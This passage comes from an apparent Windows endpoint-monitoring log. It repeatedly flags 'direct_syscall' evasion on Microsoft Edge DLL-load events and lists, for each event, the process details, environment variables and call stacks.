Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcda2b23f2 C:\Windows\System32\IPHLPAPI.DLL!GetIpInterfaceEntry|0x7ffcda2ba16d C:\Windows\System32\IPHLPAPI.DLL!CreateIpNetEntry2|0x7ffcda2a41dd C:\Windows\System32\IPHLPAPI.DLL!ConvertGuidToStringW|0x7ffcda2a34c2 C:\Windows\System32\IPHLPAPI.DLL!ConvertGuidToStringA|0x7ffcda2a1e20 C:\Windows\System32\IPHLPAPI.DLL!GetAdaptersAddresses|0x7ffc8e816c30 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8f130295 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f13021d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f12ec1c C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f12d7d5 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f12cf5b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8cec37c1 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec2704 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec1a6b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec0b46 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4181567 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.1795756 +0100 CET + Params: base_address➜ 7ffcda330000, checksum➜ 1293169, default_address➜ 7ffcda330000, file_path➜ C:\Windows\System32\dnsapi.dll, image_size➜ 1228800, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcda2b23f2 C:\Windows\System32\IPHLPAPI.DLL!GetIpInterfaceEntry|0x7ffcda2ba301 C:\Windows\System32\IPHLPAPI.DLL!CreateIpNetEntry2|0x7ffcda2a5651 C:\Windows\System32\IPHLPAPI.DLL!ConvertInterfaceLuidToNameW|0x7ffcda2a365a C:\Windows\System32\IPHLPAPI.DLL!ConvertGuidToStringA|0x7ffcda2a1e20 C:\Windows\System32\IPHLPAPI.DLL!GetAdaptersAddresses|0x7ffc8e816c30 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8f130295 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f13021d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f12ec1c C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f12d7d5 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f12cf5b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8cec37c1 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec2704 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec1a6b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec0b46 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4181780 + Pid: 7364 + Tid: 20220 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.1848003 +0100 CET + Params: base_address➜ 7ffcbc0d0000, checksum➜ 879719, default_address➜ 7ffcbc0d0000, file_path➜ C:\Windows\System32\Windows.StateRepositoryPS.dll, image_size➜ 802816, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdd647a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd64759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd7cb8a2 C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd7ccc5c C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd7ccd65 C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd7c8fb6 C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7ffcdd764304 C:\Windows\System32\combase.dll!CStdAsyncStubBuffer_QueryInterface|0x7ffcdd63b83b C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffcdd63b77c C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffcdd63a662 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffcdd63a279 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffcdd70ff04 C:\Windows\System32\combase.dll!RoRegisterActivationFactories|0x7ffcdd7a717e C:\Windows\System32\combase.dll!Ordinal130|0x7ffcdd6677fb C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ffcdd6662ed C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ffcdd6b8013 C:\Windows\System32\combase.dll!CoGetStandardMarshal|0x7ffcdd67eef0 C:\Windows\System32\combase.dll!StringFromCLSID|0x7ffcdd6174bd C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd616e1f C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcd60b7af4 C:\Windows\System32\propsys.dll!PropVariantToUInt32WithDefault|0x7ffcd60b7641 C:\Windows\System32\propsys.dll!PropVariantToUInt32WithDefault|0x7ffcd60b75c6 C:\Windows\System32\propsys.dll!PropVariantToUInt32WithDefault|0x7ffcdda4ab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdda4a8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdda49c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4182134 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.3381119 +0100 CET + Params: base_address➜ 7ffcb0450000, checksum➜ 1374424, default_address➜ 7ffcb0450000, file_path➜ C:\Windows\System32\TextInputFramework.dll, image_size➜ 1339392, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= 